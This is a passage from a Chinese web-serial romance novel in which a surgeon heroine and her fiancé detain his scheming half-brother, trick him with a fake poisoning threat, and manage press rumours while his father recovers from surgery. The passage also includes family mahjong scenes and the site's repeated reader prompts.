夏灼灼怕他误会,解释说:“我妈不是不喜欢你,是怕我名声不好。” 哪怕他们已经订婚,但未婚先孕,到底会落人口舌。 尤其是他们这个圈子,最爱嚼这种舌根。 而这种事,往往对女人更不利。 司慎行却笑了下,说:“你放心,我没误会,就是……” 看他半天没下文,夏涿州有点着急了,问他:“就是什么?” “其实昨天……” 他俯身,在夏灼灼的耳边低声耳语。 夏灼灼听完,脸瞬间像是被烫到了似的,几乎要红透了。 原来,最后时刻,司慎行没…… 怪不得她当时觉得腿上黏腻腻的。 “所以,你放心吧。也让伯母放心。” 他不会让她背上个未婚先孕的坏名声的。 更不会让人有机会置喙夏灼灼是母凭子贵才嫁进司家的。 夏灼灼红着脸点点头。 就在这时,夏怀征神色严肃走出来。 “阿行,小七,网上的新闻,你们看到了吗?” 夏灼灼和司慎行都没看网上的新闻。 一是早就猜到了会发生什么。 二是,他们没那个心思上网,光顾着赶过来跟大家见面了。 听夏怀征这么一说,夏灼灼便顺势拿出了手机。 果然,他们瞧见新跳上热搜的几个长词条。 “S集团董事长病危,疑似人为。” “司家二少爷归国探病,被人拦在机场超过48小时……” 几个词条,明里暗里都指向司董事长病危,是因为司慎行的缘故。 而司谨言被拦在机场,也是司慎行的手笔。 夏灼灼把手机递给司慎行看,自己对夏怀征说:“大哥,你别担心,这是我们计划之内的。” 她只说计划之内,不说具体的计划。 夏怀征跟这件事无关,不把他扯进来,却也不想让他担心。 夏怀征听到这话,懂了她的意思,脸色缓和几分,说:“那我弄个程序,让家里人看不到这些词条。” “好。” 免得一屋子都担心他们。 到时候解释起来也麻烦。 横竖事情很快就能得到解决。 三个人进了屋子,夏怀征就忙他的“程序”去了。 做个程序不让家里人看到这些词条,对他来说只需要一个小时的时间。 不难。 就是麻烦了点。 而夏灼灼则是被夏六叫到麻将桌边。 “快来!我要把我输的赢回来。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!夏灼灼笑盈盈道:“那你恐怕会后悔让我过来。” “还没开始呢,你话说太早了。” 他按下按钮,麻将机开始洗牌。 不多时,阿麦也赶了过来。 他带了一后备箱的礼物。 司慎行早上着急送夏灼灼过来,空手来的,故而安排了阿麦去买礼物。 每个人都分到了两样礼物。 夏六分到的,是一根钢笔,和一条领带。 钢笔不是普通的钢笔,是凯兰帝家的最贵的那款,笔帽处镶了钻石,价值二十八万。 连夏六都得到了如此贵重的礼物,何况夏太太和夏云海? 夏太太让司慎行以后别买这么贵重的礼物,夏云海却道:“他娶了我们家的宝贝,买多贵的礼物也不亏。” 夏云海这话,半开玩笑,半认真。 他一开始对于夏灼灼的感情,其实陌生更多。 男人并不能跟女人一样,因为不是从自己肚子里出来的,所以不会天然就带有爱意。 他们跟子女的感情,是要靠培养的。 而他术后清醒那段时间,对夏灼灼的感情慢慢深厚。 如今已经开始舍不得把夏灼灼嫁出去了。 他是个看似古板,实则很感性的人。 他怕自己婚礼上会哭。 昨晚还跟夏太太讨论了一个晚上,婚礼他能不能不出席。 夏太太当然否决了,还给了他一个白眼。 故而今天看到司慎行,夏云海并不十分高兴。 司慎行很从顺地说:“是,我娶了你们家的宝贝,买再贵的礼物也是我赚了。” 夏云海看他“识相”,脸色也就缓和一些。 “我们出门买菜,你对这里熟悉,你开车吧。”夏云海知会司慎行。 司慎行立马点头:“好,我把车子开过来,你们晚点再出来,免得吹风。” 他恨不得多表现一下。 夏灼灼以前还担心司慎行会在家里人面前很高傲,却没想到,会是这个样子。 她不管司慎行那边了,认认真真跟夏六打牌。 同一桌的还有谷仔,以及夏怀乐。 夏怀乐是个牌品很好的人,不管输了还是赢了,都是笑呵呵的。 谷仔更是无所谓输赢。 只有夏六,想赢的心很强烈。 故而夏灼灼第一把就胡了把大的的时候,夏六跳起来,喊夏怀呈帮忙。 夏怀呈到底是经商的,思维敏捷,会算牌,帮夏六赢了一些回来。 只是等他把位置还给夏六的时候,又很快输光了。 到最后饺子都做好了,唯一的输家只有夏六。 “你们都欺负我,呜呜呜……” 夏六擦着自己并不存在的眼泪,转头就递给夏灼灼一个礼盒。 “是什么?” “你打开看看就知道了。” 夏灼灼打开盒子,发现是一对很漂亮的珠宝耳坠。 上面镶嵌很多颗祖母绿的宝石,一看就价值不菲。 “六哥,你真好。” 夏六翘起下巴:“我问过他们了,给你送的礼物除了妈给的,就我的最贵。所以你结婚了,司仪一定得找我。” “……”原来在这儿等着呢。 她答应了。 正好可以省下一笔司仪的钱。 吃过饺子,夏灼灼和司慎行便起身离开了。 他们得去医院,忙“正事”了。 舆情发酵的还不够,他们得再添一把火。 “晚餐回来吃吗?”夏太太问她。 夏灼灼便说:“回来的,晚上我住回这边。” 到底没结婚,住司慎行那边不是个事儿。 司慎行的眼神微暗,但很快露出笑容。 “我一定把灼灼在晚餐前送回来。” 夏太太点头,目送两人出门。 “他们两个真登对啊。”夏怀征道。 夏太太看他一眼,道:“你也不小了,去新单位有没有年纪合适的小姑娘?” 夏怀征脊背微微一僵,摇头说:“没有。” 可夏太太分明察觉出了一丝端倪。 “没说实话!” “……” “好了,我也不催你了,你心里有数就好。门第不重要,品性好最重要。如果人家品性不错,就带回来让我们看看。大过年的,我也方便给人家红包。” “……”夏怀征没接这话,默默走开了。 其实他的事情八字还没一撇。 单位里的那个女孩子,是他的大学学妹。 以前因为社团的事情打过几次交道,只是后来他回到沪城,两个人就没有往来了。 这次见面,两个人都认出了对方。 加上两个人都是刚进单位的,所以往来要比其他同事多一些。 也约起来吃过饭。 但谁都还没开口聊这方面的事,只聊工作。 他不太确定对方是不是喜欢她。 而且,他自己也有点不敢迈开这一步。 白知芙的事情,带给他很大的感情上的阴影。 他还需要一些时间。 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。 第276章 给他一个痛快 另一边,夏灼灼跟司慎行已经坐车,往医院去。 负责开车的是阿麦,他跟司慎行汇报情况。 “老爷子十点多的时候醒过一次,但只醒了几分钟就又睡过去了。” 司慎行看夏灼灼一眼,夏灼灼道:“正常。而且,预后比我想象中好,再等一天,估计就彻底醒了。” 司慎行点头,这才对阿麦继续说:“他醒过来的几分钟有说什么吗?” 阿麦摇头。 “据我所知是没有,而且嘴里还插着呼吸管,想说什么,咱们的人也听不清。” 司慎行“嗯”了声。 阿麦又继续说道:“我让刚子先过去了,您上车前,刚子给我打了电话,说医院门口很多记者,您看咱们要不要换辆车?” 换一辆不起眼的。 司慎行道:“不必。要让他们看到我们进出医院,别让他们挤到我们就行。” “是。” …… 机场那边。 司谨言已经被扣留在附近的酒店很久了。 他出不去,但好在司慎行的人太“粗心”,没没收走他的手机。 他才有机会叫底下的人煽动舆论。 本以为舆论一出,司慎行必然会迫于舆论放了他,可这都过去多久了?除了每天来房间里送饭和守在门口的保镖,他连个鬼影都没见到。 他还想继续煽动舆论,可手机没电了。 房间里又没有留任何充电器,他只能干着急。 终于在这天中午,又一个人来送饭的时候,他一脚踢飞了餐车。 “叫司慎行过来!我要见他!” 然而送饭的人看似酒店服务生打扮,看到司谨言“发疯”,非但没受到任何惊吓,反而冷冷看向他。 “先生,这是您的午餐,既然您打翻了,那下一顿就得晚餐时候再吃。另外,我们这里没有配备卫生打扫人员,一会儿还请您把垃圾自行处理,晚餐的时候,我会过来把垃圾带走。” 说完,他转身直接走了出去。 司谨言想追上去,房门已然直接关上。 “该死!你们这些人都该死!叫司慎行过来!他绑架我,这是违法的!!” 然而声音透出去,没有任何人有半点反应。 这家酒店是S集团旗下的,只是还未正式开始营业。 大楼空空荡荡,只有负责司谨言和他手下的保镖。 司谨言打翻午餐的消息,很快传到司慎行耳朵里。 “打翻了,那就别再给了。粒粒皆辛苦,这道理小孩子都懂。” “是,他们那边也是这么安排的。”阿麦道。 说话间,司慎行已经来到了ICU门口。 夏灼灼去了医生办公室那边,询问具体情况,他就先过来等着。 透过玻璃,他不知道是不是自己的错觉,只感觉司正飞鬓边的白发似乎又多了一些。 他眼眸微垂,似在喃喃:“你可千万别死。” 他还等着他看到司谨言的真面目呢。 当初司谨言的生母一口咬定,“狸猫换太子”的整件事都是她一个人所为,其实深查下去就知道,司谨言也早就知道了自己的身份。 可司正飞并没有继续查。 只把那个女人送去了疯人院之后,就直接将司谨言送出国了。 这一切都表明,司正飞心里最疼爱的,依旧是司谨言。 他始终相信,他亲手教导出来的儿子,是个品行端正的人。 司慎行不知道是他们父子情深,还是司正飞太过自责。 自以为自己带出来的,就一定是好的。 司慎行慢慢攥紧手心,手臂上的青筋凸显。 只是西装袖子将这一切都遮盖住了。 不多时,夏灼灼过来了。 “各项数据都正常,不出意外的话,明天就能醒。” “嗯。” 司慎行点头,道:“走吧,去见一见他。” 夏灼灼知道他说的“他”就是司谨言。 她之前偶然跟司谨言接触过两次,这人的眼睛长得跟司董事长很像。 她不是很喜欢司董事长的眼睛,对司谨言更是没有什么好感。 这与她跟司慎行在一起无关。 在这之前,她就挺不喜欢司谨言的。 这人满脑子算计,是个极致的利己主义者。 而司慎行的眼睛,似乎更像他已经死去的生母一点。 …… 一个小时后,车子驶入司谨言所在的酒店地下车库。 这边的负责人早在这儿等着了。 见到两人过来,恭敬打招呼后说:“他试图跳窗,被我们发现,拦住了。” 酒店房间里提前装了监控。 司谨言并不知道。 夏灼灼道:“看来他有点等得不耐烦了。” “何止是他,我也等的不耐烦了。” 只可惜,司董事长不醒,这出戏就没法唱下去。 “走吧。”夏灼灼牵住司慎行的手,跟他一起来到楼上。 司谨言住的是三楼,故而他才敢冒险跳窗。 很快来到三楼,手下替两人打开房门。 一根棍子突然从里面砸下来,直朝站在更前面的夏灼灼袭来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!夏灼灼正要避开,司慎行的手已经抓住了那根棍子。 他狠狠一推,里面的人应声倒地,发出吃痛的声音。 “嘶——” “二弟的欢迎仪式还真是新鲜。”司慎行面无表情开口。 从前司谨言盗用他的身份,所以他以前都叫司谨言大哥。 现在身份对调,司谨言就成了弟弟。 一个称呼的改变而已,司谨言却像是被刺痛了一样,恶狠狠地瞪着司慎行。 “放我出去!否则媒体和官方都不会放过你!” 司慎行挑了下眉,道:“你是在威胁我?看来你还不明白自己的处境。在你不放过我之前,我会先杀了你。” “你敢!” “你凭什么觉得我不敢?” “你真杀了我,想过后果吗?” “死人不会开口,谁又能知道,你是我杀的?” “我已经放出消息,你囚禁了我!我要是长久不露面,外面的人一定会怀疑到你身上!” “怀疑到我身上又怎么样?二弟可能忘了,现在我才是S集团的掌权人,他们怀疑我,还能真抓了我去问不成?” 司谨言正要说话,余光突然瞥到了司慎行身侧的夏灼灼。 他错愕皱眉。 “怎么是你……” 夏灼灼半笑不笑道:“二弟别来无恙啊。” “二弟?” “忘了自我介绍了,我是阿行的未婚妻,夏灼灼。” 未婚妻、夏灼灼…… 几个关键词,让司谨言立刻联想到了她的身份。 “你就是那个跟我们司家有婚约的夏家七小姐?” “没错。” “可你、你不是暗部的人吗?” 夏灼灼没说话,只是挑了挑眉。 司谨言立刻就明白了。 原来夏家走丢多年的夏家七小姐,竟然就是暗部的那位神医小姐。 他一次有个合作商在谈合作的时候突发急病,他找了好几个专家都没能把人看好,于是听了别人的推荐,花了重金请来了夏灼灼。 只是当时他并不知道,夏灼灼竟然就是夏家七小姐。 当时,他还向她抛出了橄榄枝,可夏灼灼拒绝了。 他想,如果不是他身世的秘密被发现,夏灼灼就该是他的未婚妻。 这么想着,他看夏灼灼的眼神就有了一丝变化。 司慎行敏锐感觉到了。 他眼底冷芒浮现,上前两步,将夏灼灼的大半个身子挡住。 “我今天过来,是看在我们以前的兄弟情分上,最后来劝你一句的。” 司谨言的注意力重新回到司慎行身上。 “你想说什么?” 他看司慎行的眼神里,带着压抑着的鄙夷。 哪怕如今他才是那个私生子,他仍然喜欢用这种眼神看他。 就好像司慎行是什么阴沟里的臭虫一般,叫人恶心。 从前,司慎行极容易被这眼神激怒,可现在,他有了自己真心重视的人,和真心重视他的人,他已经不会因为司谨言的眼神而失去理智了。 他知道,他也是有人爱的人了。 因此,就算有那么一两个厌恶他的人又怎么样? 他不是金币,总不能人人都喜欢他。 所以自打想通了这一点,他再也不会被司谨言的眼神激怒。 司慎行心平气和开口:“我打算给你一个活命的机会。” 司谨言蹙眉:“你什么意思?” 他很不爽,司慎行竟敢拿这种语气跟他说话。 细想下来,身份对调后,他还没司慎行面对面交谈过。 因为当时他很快就被送走。 所以他现在才会这么不爽司慎行敢这样对他说话。 在他的认知里,司慎行仍然是那个处处得让着他的存在。 只听司慎行说:“两天之内,如果你保证不搞任何小动作,老老实实回到你的欧国去,并且再不踏足华夏的土地,那么我就饶你一条命。以后你的生活费,我也仍然会按照原先爸给你的数目,准时汇给你。” “你想逼我走?” “不是逼你,是让你做选择。是活着离开,还是死在这里。” 司谨言死死攥紧拳头。 “我回国,是为了回来探病的。见不到爸,我绝对不会走。” 司慎行微微一笑。 “看来你做好选择了?” 司谨言盯着他,没说话。 他赌司慎行不敢真的杀了他。 他只是在恐吓他而已。 毕竟他是一条活生生的人命,而且身份极其不一般。 他一死,司慎行就是最大的嫌疑人。 所以司慎行不敢杀了他! 然而下一瞬,司慎行就扭头对夏灼灼说:“给他一个痛快吧,别让他太痛苦。毕竟,他也算是我弟弟。” 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。 第277章 断指 “好。” 夏灼灼点头,毫不迟疑朝司谨言走过去。 而司慎行说了句“我去外面等你”,便扭头离开了。 房门关上,司谨言看着夏灼灼从身上的瓷瓶里拿出一颗暗红色的药丸,脸色阵阵发白。 都说医和毒是相通的。 夏灼灼的医术他见识过,的确超凡。 那么她拿出来的毒医,也一定能置人于死地。 司谨言后退几步,压低声音语速飞快地开口。 “神医小姐,你别被他骗了!他这个人根本没有心的。” “你现在杀了我,转头消息传出去,他就会立刻把你丢出去顶嘴!” “他从小受歧视长大,早就心理扭曲了!他根本就不是一个正常人!” 夏灼灼微微蹙眉,像是被他说的话打动了。 司谨言见她有所动摇,连忙继续劝她。 “以前,大家都以为他是个私生子,谁都把他当成过街老鼠。” “你想,在这种环境中长大的人,能懂什么是爱吗?他心里只有自己的一己私欲。” “你别看他看起来对你很好,信任你,其实不然。否则他为什么不自己亲自动手,要让你来?” “这就是一个陷阱!你千万别跳进去!” 夏灼灼拿着那颗暗红色药丸,在心里慢慢把玩着。 她像是在思索。 司谨言紧张极了,一直盯着她。 生怕下一秒她就把毒药塞到他的嘴里。 外面都是司慎行的人,他想挣扎,一定会有人闯进来按住他。 那么他只有死路一条了。 他是万万没想到,司慎行真敢对他下手。 那唯一的可能,就是司董事长已经无力回天,所以司慎行才敢这么肆无忌惮。 所以他现在只能想办法游说夏灼灼。 片刻后,夏灼灼终于抬眼看他。 “司慎行许诺我,等司董事长一死,他就会让我做司家少奶奶,成为S集团唯一的女主人。所以我心甘情愿为他做事。” 她顿了顿,问:“那你呢?你能给我什么?” 司谨言听到这话,心里很惊喜。 夏灼灼和司慎行果然不是因为感情在一起的,他们是各取所需。 如果自己也能给夏灼灼这些东西,她站在谁那边都是一样的。 反而,站在司慎行那边,一旦事发,司慎行这个喜怒无常的人,随时会把她拉出来顶罪。 故而,夏灼灼才会这么问他。 他当即抓住机会,说:“司慎行能给你的,我也能给你。你放了我,我会让司慎行因为杀人未遂进去吃牢饭,到时候S集团就是我们的了。” 夏灼灼却摇摇头。 “我不怎么喜欢你,你长得没司慎行好看。” “……” “我要S集团百分之三十的股份。” 司谨言皱眉。 “百分之三十,你知道这代表什么吗?” “我知道,你只要回答我,给不给吧。” 司谨言立刻笑起来:“给,我一条命,比百分之三十的股份贵。” “好。”夏灼灼点头,说:“不过口说无凭,你立个字据。” 正规酒店的房间里,大部分都放了纸笔。 夏灼灼在旁边口述,司谨言就在纸上写下她说的话。 字据写完,司谨言签上自己的名字,又在夏灼灼的要求下,用钢笔将自己的指腹涂黑,在上面摁了个手印。 夏灼灼检查了一番后,将字条收起来。 “我不能立刻放了你,不然他会怀疑到你头上。明天,我会找个时间过来,想办法把你带出去。” “那司慎行那边……” “我会说。我说你在考虑,让他再给你一点时间。” 又说:“他不想杀你,杀你太麻烦。刚才也是见你死也不肯走,这才叫我杀你。” 司谨言连忙道谢。 “神医小姐,多谢你的救命之恩!” “不用谢,事成之后,你只要履行字条上的内容就好了。” 夏灼灼说完,转身出去了。 房门关上,但外面仍旧传来细碎的说话声。 司谨言趴在门板上,隐约听到外面夏灼灼说着什么“给他一天时间”、“死了麻烦”、“反正他的命在我们手里”这样的话。 司慎行似乎说了句什么,夏灼灼应“好”,往门边走过来。 司谨言连忙后退了几步。 只见房门打开,司慎行越过夏灼灼走进来。 “就给你一天时间考虑,明天这个点你要是再想不通,那我就送你见阎王!” 说完,司慎行示意夏灼灼关门,转身走了。 夏灼灼点头司谨言幅度很小地点了下头,随后关上了门。 司谨言重重吐了一口气。 死里逃生,他这会儿才真正开始感到后怕。 差一点他就死了。 幸亏他在关键时刻拉拢了夏灼灼,才侥幸捡回来一条命。, 可他再次冷静下来之后,开始思考司慎行为什么敢这么大胆直接毒死他。 要知道,司慎行以前在自己面前,甚至都不会大声说话。 永远是一副低着头的样子。 本小章还未完,请点击下一页继续阅读后面精彩内容!很快,司谨言就猜到了原因。 司董事长,怕是凶多吉少了。 而夏灼灼所说的时间,大概就是司董事长彻底撒手人寰的大概时间。 明天。 明天爸就要死了吗? 爸的病,他是知道的,按理说,就算不进行治疗,至少也还有一两年的活头。 而年前,司管家才刚跟他通过电话。 那个时候明明没什么异常的。 后来就是司管家突然断联……然后他就赶回了国,直接被司慎行的人扣留在机场,紧接着又被带到了这里。 司谨言坐在窗边,认认真真思考着。 很快他想到,变故的节骨点,应该就发生在司管家跟他断联之后。 司正飞原本是要动手术的,却没想到找来的医生是个废物,后面……大概率就是司慎行让夏灼灼进行手术。 而手术,毫无意外地失败了。 但他们刻意压着消息,用药物吊着司董事长的命。 这么一来,司正飞只要不死在手术台上,就跟司慎行无关。 而自己的出现,让司慎行极为恼火。 加上司正飞必定是不可能再醒过来了,所以司慎行才敢肆无忌惮对他下手。 司谨言越分析,越觉得自己分析得很准确。 夏灼灼说的那些话,也验证了这一点。 司董事长的命,活不过明天。 而夏灼灼之所以倒戈那么快,不是怕自己这条命让她背锅,而是怕自己要背锅司正飞的死。 想通这些后,司谨言豁然开朗,觉得自己真是聪明极了。 可很快他又耷拉下来。 想通这些有什么用? 他还需要想想,怎么破局,将他失去的一切拿回来。 很快,司谨言就想到了该怎么办。 越是复杂的事情,越要简单化处理。 那就是,把一切公之于众! 就像他对夏灼灼说的那样,让司慎行进去吃牢饭。 他虽然是私生子,但是身上的的确确流着司正飞的血。 司慎行入狱,S集团理所当然由他掌权。 司谨言眯起眼,仔细地想着明天具体该做些什么,得走什么样的行动路线。 而另一边,夏灼灼和司慎行已经在去夏家人所住的别墅的路上了。 “他跟凌悠然是一类人。”夏灼灼说:“自以为自己很聪明,但其实都是一些小聪明。” 司慎行点头:“的确,他竟然轻易相信了你。” “他也不是轻易就相信我,而是,他当时处于形势所迫,只能信我。但人喜欢把自己的设想合理化,他越想,就越觉得我真的倒戈了。一切都会按照我们计划中进行的。” 司慎行再次点头。 “还好你聪明。我一开始只是打算让他把事情闹大,再用老头子没死来狠狠打脸他,让老头子彻底放弃他。但这么做,很容易大事化小、小事化了。你的办法更有效,可以把他一击击毙。” 夏灼灼弯唇。 “没听过那句话吗?最毒妇人心。” 就在这时,季恒的电话打过来了。 他年前原本打算去抓凌悠然的,但因为过年,凌家人不让他走。 他只好派自己的亲信过去。 亲信虽然忠诚,但做事没他那么爽利,故而折腾了两天,还没抓到凌悠然。 现在季恒打电话过来,大概是凌悠然的事情有眉目了。 果然,电话接通后,就听季恒说道:“人抓到了,你要怎么感谢我?” “你想让我怎么谢你?” “我知道你五月份的时候,收了明代的一套宫廷钗环。我想要那个。” “那套古董,比你的命贵。” “靠!你自己问我的,现在又反悔?” 司慎行挑了挑眉,说:“晚上自己过来取。” 电话那头的季恒顿时喜笑颜开。 他说:“人马上就送到京都了,你打算怎么处理她?” “把人丢回凌家,让他们自己看着办。”司慎行道。 “你就不怕他们高高拿起轻轻放下?” 司慎行笑了下,眼尾有点凉意。 “凌家的人,一个个心比天高,他们知道该怎么做的。” “行。我知道了。” 于是当天晚上,司慎行就收到了凌家派人送过来的一个“小礼物”。 礼物是一个小小的铁盒子。 司慎行打开看。 里面是一根断指,血甚至还没凝固。 他面无表情合上了铁盒,叫阿麦拿出去扔远点。 “是。”阿麦应声,下意识说:“还好夏小姐今晚不住这儿,要是看到了,非得吓一跳不可。” 司慎行好笑地看了眼阿麦。 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。 第278章 到处是记者 那似笑非笑的眼神,让阿麦困惑。 但他很快明白过来,忍不住伸手敲了下他自己的脑袋。 “夏小姐是医生,不会怕这些,我也是昏头了。” 司慎行轻轻点了下头,说:“就算她不怕,这件事也不用告诉她,免得脏了她的耳朵。” “是。” 后来凌悠然死没死,司慎行不知道,也不关心。 总之凌悠然这个名字是消失了。 再没人从谁的嘴里,听到过凌悠然三个字。 加上凌悠然个性很孤傲,平时也没什么朋友,渐渐的,很多人都忘了她的存在。 不过这都是后话了。 …… 第二天一早,夏灼灼送谷仔出门。 今天谷仔要去秋家做客。 秋雨已经在秋家等着了。 跟他一起去的,还有阿麦。 夏灼灼叮嘱了谷仔几句,又对阿麦说:“你放心去,阿行这边有我。” “好。有什么事情,随时给我打电话。” 夏灼灼点头,目送他们开车离开。 后备箱塞了满满当当的礼物,谷仔现在又有个新身份,炎享娱乐副总。 怎么看,秋家都不会拒绝这个女婿。 “妈,我一会儿也要出门了。”夏灼灼对夏太太说:“今天可能会发生一点事,你跟爸和哥哥们说,都别出门。等我回来了再说。” “好。” 夏太太郑重点头:“我会盯好他们的。” 夏灼灼弯唇一笑,抱了抱母亲,来到门口。 司慎行的车刚好到。 他下车朝夏灼灼走过来。 夏灼灼诧异迎上去问:“不是说好在医院碰面的吗?” “医院的记者越来越多,我怕你被缠住。”他解释了句,对着夏太太点头打招呼:“伯母。” “快去吧,正事要紧。” “好。” 司慎行应声,带着夏灼灼上车。 开车的是霍刚。 他咧嘴露出一口大白牙。 “夏小姐,早安。” “早安。”她打了招呼,问:“医院那边人很多吗?” 司慎行“嗯”了声,说:“司谨言的人联系不上他,急疯了,连买好几个热搜,就差没直接写我已经把他杀了。” 夏灼灼勾唇一笑。 “那他的手下们可真是帮了大忙了。” “谁说不是呢?” 很快三人赶到医院。 医院外果然聚集了一大帮记者。 看到他们下车,纷纷高声开口—— “司先生,能接受我们京都晚报的采访吗?” “司先生,听说您违法囚禁了司谨言先生,这传言属实吗?” “夏小姐,有传闻说你负责司董事长的手术,请问司董事长现在情况怎么样?” “司董事长还在世吗?” “为什么负责司董手术的医生全都不见人影?” “你们是否有意在手术过程中动手脚?” 记者们叽叽喳喳,恨不能把话筒怼到两人脸上。 只是很快有越来越多的维持秩序的人出现,硬生生把记者们挡开,给夏灼灼和司慎行开出了一条路来。 两人虽然费了些功夫,但还是顺利进了医院。 “人比我想象中的还多。”夏灼灼吐了一口气,说:“还好你安排在这儿的人多,否则我们真要被拦住了。” 司慎行道:“这些人前两天也来过医院,但是不敢这么明目张胆。今天这么做,肯定是背后有人塞钱了。” “他们急了。” “是。他们急了。” 司谨言手底下的,不乏有头脑聪明的人。 一旦开始着急,就正好中了他们的计。 这对他们的计划非常有利。 两人相视一笑。 霍刚是个头脑简单的,完全不知道两个人在说什么,在笑什么。 他挠挠头,刚要发问,有个医生匆匆走过来。 “司先生,司董醒了。” 两人一对视,立刻往ICU去。 ICU是无菌病房,两人还得换隔离服。 上次阿麦就是因为换了个衣服耽误了时间,再进去的时候,人又昏睡了过去。 好在,这一次司董事长醒的时间比较长。 两个人进去的时候,他正眼神迷茫地打量周围。 “爸。” 司慎行率先开口。 司董事长很快看了过来。 看到司慎行的时候,他并没有什么太大的反应。 但当目光触及司慎行身边的夏灼灼时,眉头一下子皱了起来。 他没忘记,自己在手术过程中被“唤醒”,夏灼灼威胁他配合的那一幕。 现在回想起来,他还觉得头皮发麻。 他被人尊敬惯了,那种性命被一个小丫头攥在手里的感觉,让他非常不好受。 这两天,他也醒过几次。 虽然意识到自己的手术成功是因为夏灼灼,但还是很不爽。 故而看到夏灼灼时,眉头一下子皱了起来。 如果不是插着呼吸机,他恐怕要痛骂夏灼灼。 夏灼灼脸上却挂着笑。 她虽然戴着口罩,可眉眼弯弯,仍旧能看得出来是在笑。 司董事长更不爽了。 本小章还未完,请点击下一页继续阅读后面精彩内容!她竟然还敢笑! 夏灼灼像是看不懂司董事长的眼神,温和开口:“看来您恢复得不错,再过两天,就不会再昏睡了,以后您会长命百岁的。” 司董事长的睫毛颤了下。 不可否认,“长命百岁”四个字触动了司董事长的心。 他的火气慢慢消散了些。 虽然过程不美好,但结果是好的。 他的手术很难,很多享誉全华夏的脑科专家都不敢接手,夏灼灼却上手就做了,还成功了。 他能感觉自己身上的力气在慢慢恢复。 不过,他的性格不允许他这么轻易原谅夏灼灼。 司董事长别过眼,去看司慎行。 然而司慎行开口就说:“看我干什么?你想道谢,就对她眨三下眼睛。” 司董事长的眼睛倏然瞪大,恨不能抬手扇司慎行一耳光。 司慎行撇唇,道:“如果不是灼灼,你不出半年就死了。就因为她在手术台上对你说了点不中听的话,你就记恨她?” 司董事长闭上了眼睛。 不是昏睡过去了,是不想看到这个孽子。 只是眼睛能闭上,耳朵却无法关闭。 司慎行的声音还是强横地钻进了他的耳朵。 “你那个手术,中途要被强行唤醒,配合她做手术。你当时要是不配合,必定会死在手术台上。你说,她该不该吓唬你?” 司董事长缓缓睁眼。 这一点他倒是不知道。 司慎行继续说道:“我跟灼灼打算过了十五就去领证,婚礼我们等天气暖了再办。你还有很多时间可以恢复,等恢复之后,我希望你能祝福我们。当然,不真心祝福也没关系,婚礼的时候,你必须要出席。” 又说:“我不是在跟你商量,是在通知你。” 司董事长的眉头深深蹙了起来。 也就是他现在不能说话! 否则他一定要骂死他! 这个孽障! “你好好休息吧,我们走了。托你的福,外面一堆烂事要处理。” 司董事长看他一眼,似乎在问外面发生了什么。 司慎行冷嗤了一声,说:“还不是你那个好儿子?他以为我要害死你,故意煽动底下的人在网上造谣我。” 又说:“他可不是真担心你,是担心他自己。他想给我安一个罪名,这样S集团就又回到他手里了。” 司董事长轻轻摇头。 意思很明显:司谨言绝不会这样。 他是个很乖的孩子。 跟司慎行不一样。 虽然没那么聪明,但是个孝顺的。 而司慎行,只会把他气半死。 从私心上来说,两个儿子,他更喜欢司谨言。 却也知道,司慎行更适合做S集团的掌权人。 不仅因为血脉正统,更因为他的手段和魄力都远超司谨言。 而司谨言从小温和待人,他让他出国的时候,他乖乖地就去了,没闹过任何脾气。 这样的人,怎么会做出司慎行说的那些事? 一定是误会。 司慎行看懂他的表情,冷笑一声,说:“我说的是不是真的,你很快就知道了。” 说完,他拉着夏灼灼走了。 很快有医生进来,替司正飞做检查。 他已经能做些简单的动作了。 比如抓握,以及抬起两只脚。 不过清醒的时间没有持续太久,不到两个小时,他又睡过去了。 他太虚弱了。 …… 外面。 司慎行听了医生说的,略点了下头,目送他们回办公室后,询问夏灼灼:“怎么才能保证,计划进行的时候,老头子正好是醒着的?” 夏灼灼拍拍自己随身的医疗包。 “这个你不用担心,包在我身上了。我之前研制了一种药,能让人看似处于昏迷状态,实则脑子清醒,能听到周围的声音,也能思考。” 又说:“这种药,我之前跟云老爷子治病的时候已经试验过了,有奇效,且不伤身。” 司慎行错愕地问:“是之前在沪城的时候?” “没错。我就是在那个时候,让云老爷子看清自己最疼爱的孙女的真面目的。” 司慎行松了口气。 “这么一来就万无一失了。” 夏灼灼点点头,打开了手机。 司谨言所住的酒店房间里放置了隐藏摄像头。 只见司谨言在房间里来回踱步,看起来很是着急。 夏灼灼昨天跟他“约定了”今天带他出去。 可都快中午了,夏灼灼还是没出现,他当然着急。 “让他再等久一点。越着急,越容易失去理智。”夏灼灼道。 司慎行点头。 很快时间便临近傍晚了。 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。 第279章 出了差池 天色渐渐暗下来。 霍刚过来跟两人报告。 “外面的记者大部分都走了,只留了六七个还在盯着。” 他一边说,一边拿出方位图。 “夏小姐,这两个地方没有记者,你可以放心从这两边出去。” “好。” 夏灼灼从椅子上站起身,说:“我去一趟司董事长那边,就出发。” 司慎行点头。 他需要留在这里,不能陪夏灼灼一起过去。 “万事小心。” 他一边说,一边将一把精致的小手枪塞到夏灼灼手里。 “如果遇到突发事件,拿这个防身。” 夏灼灼直接将手枪推了回去。 “对付司谨言还用不上这个。如果我的对手是已经死去的窦斯齐,或许还真用得上这个。” 她遇到过形形色色许多敌人。 能被她看作真正的对手的寥寥无几,窦斯齐是其中之一。 只是她快刀斩乱麻,用最粗暴的方法杀了他。 如果她当时没有主动出击,将窦斯齐拿下,窦家不会这么快倒下。 他一共对夏灼灼出过两次手。 一次是利用儿科医生,让她险些害了冯淮安。 一次是借杜浩然的手,在蛇山对付她。 两次事件都很惊险,稍有不慎,夏灼灼就栽在他手里了。 虽然她很讨厌这个人,却不得不承认,这人的确有点手段。 相比之下,司谨言完全不够看。 他从小到大活得太轻松了,太轻松,就不怎么需要用脑子,故而他不是夏灼灼的对手。 当然,她也不会因此掉以轻心,仍会打起十二分精神应对。 司慎行把钥匙交给她,叮嘱她万事小心。 “放心,对司谨言来说,我不是他的敌人,而是同盟。” 司慎行点点头,目送她离开房间。 夏灼灼早换上了一身医生的白大褂,脸上戴着口罩。 一路没引起任何人的注意,来到提前停了车的位置上车。 